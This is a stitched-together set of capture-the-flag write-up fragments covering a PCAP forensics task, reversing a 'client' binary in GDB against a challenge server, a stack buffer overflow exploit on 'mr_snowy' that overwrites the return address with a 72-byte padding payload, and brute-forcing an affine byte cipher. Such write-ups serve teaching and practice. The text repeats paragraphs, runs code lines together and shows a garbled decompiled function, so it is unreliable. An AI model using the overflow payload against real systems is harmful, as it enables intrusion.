This is a quick one flag! The zip file contains a PCAP file called, "christmaswishlist.pcap", so naturally, I opened it in Wireshark:
I decoded it on the command line to get the flag:
The smarter we get, the dumber we feel cuz we learn how big the world actually is.
This is a quick one flag! The zip file contains a PCAP file called, "christmaswishlist.pcap", so naturally, I opened it in Wireshark:
Challenge File: rev_infiltration.zip
The zip contents contained a single binary file called "client".
The challenge also has a Docker instance that we need to connect to in order to receive the ciphertext to crack: nc 159.65.20.193 31708
Each time we connect to the server, we receive a different glob of gibberish like this:
When you run the "client" binary, it spits out the usage syntax:
./client [server] [port]
Putting two and two together, we ran the binary against the target server:
./client 159.65.20.193 31708
[!] Untrusted Client Location - Enabling Opaque Mode
file clientclient: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bcb9d17215725749cf2ce0ee9ef5df3c98ba8f00, for GNU/Linux 4.4.0, stripped
checksec clientArch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
OF COURSE PIE IS ENABLED!!! This means all addresses observed in debugging needs to take the dynamic running binary base address into consideration and adding the tiny offsets from IDA into GDB when setting breakpoints or disassembling functions.
I opened the binary in both Ghidra and IDA, and the decompilation code looks clearer in IDA. A lot of the function names are missing in Ghidra. First I loaded up GDB (I'm using the GEF plugin) and ran it once till completion so it can load the dynamic binary instruction addresses into memory:
gdb ./client
gef➤ run
gef➤ info file
In this "goes_to_funcs" function, I see it calls two other functions, in which I called one of them "contents()" because there's a lot of math stuff happens in it, and another "flag_here()" because that's where the "[!] Untrusted Client Location - Enabling Opaque Mode" message is being printed out with some compare statements in it. So, I was fairly confident something important is happening here for us to find the flag.
char *goes_to_funcs(int file_descriptor)
{
char *result;
result = (char *)content_here(file_descriptor);
if ( !(_DWORD)result )
return flag_here(file_descriptor);
return result;
}
Following the train of thought, here are the relevant parts of the "flag_here()" function:
char *__fastcall flag_here(int num_recvd)
{
char *result; // rax
_BYTE buffer_got[1032]; // [rsp+0h] [rbp-418h] BYREF
unsigned __int64 canary; // [rsp+408h] [rbp-10h]
canary = __readfsqword(40u);
recv(num_recvd, buffer_got, 1024uLL, 0);
puts("[!] Untrusted Client Location - Enabling Opaque Mode");
result = (char *)(canary - __readfsqword(40u));
if ( result && (int)buffer_got > 1 )
return result;
}
The bold piece of code I highlighted seems to be a good spot to put a breakpoint since the next line takes the "result" variable and does some kind of comparison. Inside that if statement, it does a bunch of math, then returns the "result" variable, so I figure it's important. When looking for flags in ciphertext, any kind of compare statement is a good sign because the flag could be in memory for comparison.
Now, back to figuring out what address to set the breakpoint at in GDB. IDA shows that line of code to be at offset 0x132D:
The majority of the beginning of binary hex addresses stay the same. Only the last 3 characters of the hex binary address changes with the offsets for each line of assembly code. Applying this knowledge, above, we saw the .text address starts at 0x00005555555550d0. Changing the last 3 letters to the last 3 letters of the offset 0x132d, it becomes:Before: 0x00005555555550d0
After: 0x000055555555532d
In GDB, we set a breakpoint at that address, and run with the IP and Port from the server:
gef➤ break *0x000055555555532d
gef➤ run 159.65.20.193 31708
The program runs, then breaks at the breakpoint. WHAT'S THIS!? Do I spy a piece of the flag format!?
Challenge File: pwn_mr_snowy.zip
mr_snowy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d6143c5f2214b3fe5c3569e23bd53666c7f7a366, not stripped
0x0000000000400acf rainbow0x0000000000400d3b color0x00000000004010ed printstr0x0000000000401165 deactivate_camera0x0000000000401278 banner0x0000000000401374 investigate0x000000000040146a snowman0x00000000004014f1 setup0x000000000040153e main
void investigate(void) {char local_48 [64];read(0, local_48, 264);}
(gdb) disassemble investigate
0x0000000000401469 <+245>: ret
(gdb) break *0x0000000000401469
Alternatively, you could set the breakpoint using it's line number you see in it's instruction line:
(gdb) break *investigate+245
(gdb) r <<< $(python -c 'print "1\n" + "A"*72 + "B"*8')
void deactivate(void) {local_38 = fopen("flag.txt","rb");}
deactivate = 0x0000000000401165payload = "A"*72 + p64(deactivate)
p.sendline(payload)p.interactive()
#!/usr/bin/python3import randomfrom math import gcddef encrypt(dt):mod = 256while True:a = random.randint(1,mod)if gcd(a, mod) == 1: breakb = random.randint(1,mod)res = b''for byte in dt:enc = (a*byte + b) % modres += bytes([enc])return resdt = open('letter.pdf', 'rb').read()res = encrypt(dt)f = open('encrypted.bin', 'wb')f.write(res)f.close()
mod = 256a = random.randint(1,mod)b = random.randint(1,mod)
while True:encrypted, a, b = encrypt(message)if b"AAAABBBB" in encrypted:print("\nEncrypted Message: %s, a: %s, b: %s" % (encrypted, a, b))break
with open("encrypted.bin", "rb") as f:data = f.read()for A in range(1, 256):0for B in range(1, 256):file = open("PDFs/output_%s_%s.pdf" % (A, B), "wb")#print(encrypt(data, A, B))file.write(encrypt(data, A, B))file.close()
with open("encrypted.bin", "rb") as f:data = f.read()file = open("letter.pdf", "wb")file.write(encrypt(data, 153, 96)) # I changed the function to "def encrypt(dt, a, b)"file.close()